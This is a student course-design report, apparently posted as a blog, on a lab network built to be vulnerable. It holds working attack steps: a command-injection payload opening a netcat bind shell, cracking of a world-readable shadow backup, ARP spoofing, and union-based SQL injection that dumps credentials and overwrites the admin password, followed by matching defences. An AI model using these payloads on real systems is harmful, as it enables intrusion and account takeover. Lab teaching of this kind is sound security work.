网络安全创新实验课程设计

发布时间 2024-01-08 22:47:57作者: Away-

《网络安全创新实验》课程设计

学院 网络空间安全学院
姓名 黄民哲 胡宇轩 王玉婷

2023年 5月 19日

目录

一、网络拓扑设计 3

二、网络主机概况 3

三、主机部署过程 4

3.1 网关机gateway 4

3.2 攻击者主机 4

3.3 内网用户主机 4

3.4 内网服务器 5

四、存在漏洞分析 5

4.1 命令行注入漏洞 5

4.2 口令破解漏洞 6

4.3 网络扫描 6

4.4 网络欺骗漏洞 6

4.5 SQL注入漏洞 6

五、网络攻击实现 6

5.1 攻击网关服务器 7

5.2 内网嗅探 9

5.3 ARP欺骗 10

5.4 SQL注入 10

六、防御措施总结 13

6.1 cmd注入攻击的防御措施 13

6.2 口令破解攻击的防御措施 13

6.3 网络扫描攻击的防御措施 14

6.4 ARP欺骗的防御措施 14

6.5 SQL注入攻击的防御措施 14

七、课程设计总结 15

一、网络拓扑设计

image

二、网络主机概况

本实验一共包含4台虚拟机,分别为攻击机attacker,网关gateway,内网普通用户主机pc,内网服务器server,四台主机的详细信息如下表所示:

名称 操作系统 IP地址 网络模式 作用
攻击机 Ubuntu20.04 10.0.2.5 NAT网络 攻击者操作的机器
网关 Ubuntu20.04 10.0.2.15/192.168.1.1 NAT网络/内部网络 公司的网关,同时运行了对外的网页服务
内网用户主机PC Ubuntu20.04 192.168.1.2 内部网络 内网一名用户的主机
内网服务器server Ubuntu20.04 192.168.1.101 内部网络 内网数据库服务器

4台网络主机的网络说明:

  1. 攻击机attacker在外网环境中,有一张网卡,其网络模式为NAT网络,IP 地址为10.0.2.15;

  2. 网关gateway在内外网的边界,有两张网卡,网卡1为NAT网络,IP地址为10.0.2.17,用于接入外部网络;网卡2的网络模式为内部网络,IP 地址为192.168.1.1,为公司内部网络的网关;

  3. 内网用户主机pc在公司内网,有一张网卡,其网络模式为内部网络,IP 地址为 192.168.1.2;

  4. 内网服务器server在公司内网,IP地址为192.168.1.101,有一张网卡,其网络模式为内部网络。

实验设计时,假设内网数据库服务器存有公司机密数据,并对内网提供HTTP网站服务来管理该数据库,攻击者的最终目的是获取该网站的管理员用户密码

三、主机部署过程

3.1 网关机gateway

网关服务器向外部网络提供数字证书签发服务,以网站形式提供,需要配置apache、php环境。

$ cd ~/web
$ sudo cp -r certificate/ /var/www/

// 修改Apache2网站配置:

$ cd /etc/apache2/sites-available/
$ sudo gedit 000-default.conf

// 在最后添加

<VirtualHost \*:80>

	ServerName http://www.cert.com

	DocumentRoot /var/www/certificate

</VirtualHost>

$ sudo service apache2 restart

在网关服务器上安装netcat-traditional:

$ sudo apt-get install netcat-traditional

备份shadow文件为shadow.backup,然后赋予755权限

$ sudo cp /etc/shadow shadow.backup

$ sudo chmod 755 shadow.backup

3.2 攻击者主机

攻击机需要配置hosts文件以访问网关服务器提供的网页

在攻击者主机上:

$ sudo gedit /etc/hosts

// 添加

10\.0.2.15 [www.cert.com](http://www.cert.com)

打开浏览器输入http://www.cert.com/certificate.php进行访问,如果成功访问则配置成功。
image

3.3 内网用户主机

要让内网用户主机能够访问内网数据库服务器提供的数据库网页,同样需要修改hosts文件。

$ sudo gedit /etc/hosts

// 添加

192\.168.1.101 www.server.com

3.4 内网服务器

安装Elgg

在服务器上(服务器已部署了elgg数据库):

//将附件中server.zip进行解压后进入该文件夹

$ unzip server.zip

$ sudo cp -r server/ /var/www/

//修改 Apache2 网站配置

$ sudo gedit /etc/apache2/ports.conf

// 增加监听端口8080

Listen 8080

$ cd /etc/apache2/sites-available/

$ sudo touch server.conf

$ sudo gedit server.conf

// 在最后添加

<VirtualHost \*:8080>

`   `ServerName http://www.server.com

`   `DocumentRoot /var/www/server

</VirtualHost>

$ sudo service apache2 restart

//导入网站所需数据库:

$ cd ~/server/

// 进入 mysql

$ sudo mysql -u root

// 进入名为 elgg 的数据库

mysql> use elgg;

// 导入数据库文件;

mysql> source SQLi.sql;

// 退出 mysql 终端

mysql> exit;

四、存在漏洞分析

4.1 命令行注入漏洞

  • 攻击者访问部署在gateway上的http://www.cert.com/certificate.php,在证书签发服务中,需要用户提供姓名、邮箱、手机号码等信息,在该网页的php代码中,直接将用户输入内容作为参数输入命令行执行,因此存在cmd注入漏洞。

4.2 口令破解漏洞

  • 在gateway上,存在有shadow文件的备份shadow.backup,且该备份文件的权限较低,非root用户也可读,因此攻击者可以利用此文件破解出gateway的root密码,登陆其root账户进行进一步攻击。

4.3 网络扫描

  • 查看网关服务器的网络信息后,可以对公司内网进行nmap扫描,从而发现公司内部存活主机以及每台主机开放的端口,根据端口信息判断其开放的服务

4.4 网络欺骗漏洞

  • 在拿到网关服务器(gateway)的root权限后,通过arp欺骗欺骗内网服务器,使其关于内网普通用户主机的arp缓存信息的mac地址欺骗为网关服务器机IP,网关服务器作为中间人可以截取双方的通信信息,从而获取内网服务器的域名、内网用户的密码等相关信息。

4.5 SQL注入漏洞

  • 网关服务器访问内网服务器,通过简单的注入判断发现服务器存在SQL注入漏洞,通过构造相应的SQL注入语句从数据库读取敏感数据、并且拿到数据库服务器的管理员账号,获得操作数据库的完整权限,从而完成整个攻击。

五、网络攻击实现

  • 整体攻击流程如下图所示。
    image

5.1 攻击网关服务器

在攻击机上浏览网关服务器提供的网页,通过cmdi攻击,在“手机“一栏注入的命令为

nc -l -p 10086 -e /bin/bash

image

然后在攻击机上通过nc连接gateway的10086端口即可访问其bash:

image

在当前文件夹下,发现了一个shadow.backup文件,查看其内容,获取root账户密码的哈希值。

image

然后攻击者使用john the ripper对其进行破解,获得密码:

image

为了方便下一步攻击,在拿到root权限以后,在gateway上打开ssh服务并设置ssh密码登录与访问GUI(这里是为了后续在gateway上使用wireshark抓包)。

// 在gateway上

$ sudo vi /etc/ssh/sshd\_config

// 取消`X11Forwarding yes`的注释

// 在服务器端,添加一个~/.Xauthority文件

// 添加如下内容

# only this one key is needed for X11 over SSH 

xauth generate :0 . trusted 

# generate our own key, xauth requires 128 bit hex encoding
xauth add ${HOST}:0 . $(xxd -l 16 -p /dev/urandom)

# To view a listing of the .Xauthority file, enter the following 

xauth list

// 在攻击机上

$ sudo vi /etc/ssh/sshd\_config

// 取消注释`AllowAgentForwarding yes, X11Forwarding yes`两项

$ ssh -X root@10.0.2.15

5.2 内网嗅探

  • 在网关服务器上查看其网卡信息,可以知道其内网ip地址为192.168.1.1,于是对内网网段192.168.1.0/24使用nmap -Pn扫描,检测内网拓扑情况。
    image

  • nmap扫描结果如下:
    image

成功扫描到了内网主机192.168.1.2与内网数据库服务器192.168.1.101,且看到在内网数据库服务器上运行了http服务。

5.3 ARP欺骗

为了登陆部署在内网服务器上的http网站,在gateway上安装dsniff,对内网用户机进行ARP欺骗,伪装自己是内网服务器。

  • 安装dsniff:

$ sudo apt install dsniff

  • 打开内核转发:
$ sudo gedit /etc/sysctl.conf

//修改net.ipv4.ip\_forward = 1

$ sudo sysctl -p
  • 进行arp欺骗攻击:

$ sudo arpspoof -i enp0s8 -t 192.168.1.2 192.168.1.101
image

  • 然后在wireshark中抓包,截获了内网用户机登陆了/unsafe/home.php这一网站。
    image

5.4 SQL注入

  • 首先在gateway上打开ssh-tunnel,使攻击机能够访问内网服务器提供的网页:

$ ssh -Nf -L 10090:192.168.1.101:8080 <root@10.0.2.15>
image

  • 然后开始SQL注入攻击:

    • 首先判断注入类型,分别尝试PC,PC\,PC’ #发现注入类型为’ #
      image
      image

    • 使用order by子句二分法判断返回结果的字段个数,最终尝试出为11个字段
      image
      image

    • 然后输入1' union select 1,2,3,4,5,6,7,8,9,10,11#来显示报错位:
      image

    • 使用1' union select 1,2,database(),4,5,6,7,8,9,10,11#查找当前库名:
      image

      结果为elgg

    • 得到库名以后查找当前数据库中的表
      1' union select 1,2,group\_concat(table\_name),4,5,6,7,8,9,10,11 from information\_schema.tables where table\_schema=database() #
      image

    • 查询表credential中的字段
      1' union select 1,2,group\_concat(column\_name),4,5,6,7,8,9,10,11 from information\_schema.columns where table\_schema=database() and table\_name='credential' #
      image

    • 查找数据,得到管理员账户的名字为Admin
      1' union select 1,2,3,4,5,6,group\_concat(Name),group\_concat(Password),9,10,11 from credential #
      image

    • 得到管理员账户的名字以后,通过SQL注入登陆PC账号在简介处注入恶意代码修改管理员账号的密码为AttackSuccessfully!。
      ',Password='7643fc2cee2b2c27d8fb45a4df23715b76f3b83b' where name = 'Admin'#
      image

    • 修改完成后,使用此密码成功登陆管理员账号,攻击成功
      image

六、防御措施总结

6.1 cmd注入攻击的防御措施

  • 对对应的输入框加入长度限制,让用户难以输入复杂的命令。
<div class="form">


	<form action="<?php echo htmlspecialchars($\_SERVER["PHP\_SELF"]); ?>" method="post">

		<h1>请求数字证书</h1>

		<div class="txtb">

		<label for="">姓名:</label>

		<input type="text" placeholder="请输入姓名" name="name" maxlength="20">

		</div>

		<div class="txtb">

		<label for="">邮箱:</label>

		<input type="email" placeholder="请输入邮箱" name="email\_addr" maxlength="20">

		</div>

		<div class="txtb">

		<label for="">手机:</label>

		<input type="text" placeholder="请输入手机号码" name="phone\_num" maxlength="11">

		</div>

		<input type="submit" value="提交请求"/>

	</form>

</div>
  • 对对应输入加入特殊符号的检查,将;,&,$等符号替换掉,防止用户进行cmd注入。
// 设置替换字符

$substitutions = array(

    `'&'  => '',

    `';'  => '',

    `'|' => '',

    `'-'  => '',

    `'$'  => '',

    `'('  => '',

    `')'  => '',

    `'`'  => '',

    `'||' => '',

);

// 替换上述字符

$target = str\_replace( array\_keys( $substitutions ), $substitutions, $target );

6.2 口令破解攻击的防御措施

  1. 不要泄露shadow文件,即使需要对其备份,也应该将其设置为仅root用户可读。

  2. 设置强度较高的复杂密码,不要使用容易出现在字典中的常用密码,防止被爆破。

6.3 网络扫描攻击的防御措施

在主机上配置防火墙,设置对icmp echo request等包进行拦截:

$ sudo iptables -A FORWARD -p icmp --icmp-type echo-reply -j REJECT

6.4 ARP欺骗的防御措施

  • 针对ARP欺骗可以采用如下防御措施:

    1. 采用MAC地址的静态绑定,让内网中的每台主机都有固定的IP和MAC地址,不容易被修改。

    2. 手动更新ARP缓存中的记录,防止ARP欺骗包篡改ARP映射表。

    3. 使用ARP防护软件,如ARP防火墙,及时拦截和过滤ARP欺骗包。

    4. 通过流量嗅探的方式,及时发现并隔离正在进行ARP欺骗的主机。

  • 本实验中采用MAC地址的静态绑定来防止ARP欺骗攻击:

$ sudo  arp -s 192.168.1.101 08:00:27:AE:09:E9

$ sudo  arp -s 192.168.1.2 08:00:27:57:4C:94

6.5 SQL注入攻击的防御措施

  • 产生注入的根源是代码中直接使用了用户输入的数据来拼接SQL语句,没有进行有效的过滤或转义
$sql = "SELECT id, name, eid, salary, birth, ssn, phoneNumber, address,email,nickname,Password FROM credential WHERE name= '$input\_uname' and Password='$hashed\_pwd'";

$sql = "UPDATE credential SET nickname='$input\_nickname',email='$input\_email',address='$input\_address',Password='$hashed\_pwd',PhoneNumber='$input\_phonenumber' WHERE ID=$id;";
  • 采用预编译的方式进行处理,将SQL语句的解析和执行过程分开,只在执行的过程中代入用户的数据:
$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= ? and Password= ?");

$sql->bind\_param("ss", $input\_uname, $hashed\_pwd);

$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");

$sql->bind\_param("ssss",$input\_nickname,$input\_email,$input\_address,$input\_phonenumber);

七、课程设计总结

  • 本实验使用了四台虚拟机,分别对应模拟现实中的:攻击机、企业对外提供服务的网关主机、企业内部人员使用的普通主机、企业存放重要数据的服务器。利用构造的各类漏洞,分别实现了cmd注入攻击、口令破解攻击、网络扫描攻击、ARP欺骗攻击和SQL注入攻击五种方式。

  • 具体的攻击流程:

    • 黑客访问公司外部网站,利用cmd注入攻击在gateway上用netcat运行bash,并在攻击机上连接。
    • 然后在gateway上找到并获取了非root用户可读的shadow.backup文件,对其破解获取到了gateway机器root用户的密码。
    • 获取其root密码以后,使用nmap进行网络嗅探,对内网的另外两台主机进行发现。
    • 发现配置有HTTP服务的内网服务器以后,在gateway上伪装成其向用户机器发起欺骗,从而截获内网用户发出的HTTP数据包,获取其访问的网址、账号密码。
    • 最后发现该网站存在SQL注入漏洞,对其进行SQL注入修改管理员账号的密码,成功登入管理员账号。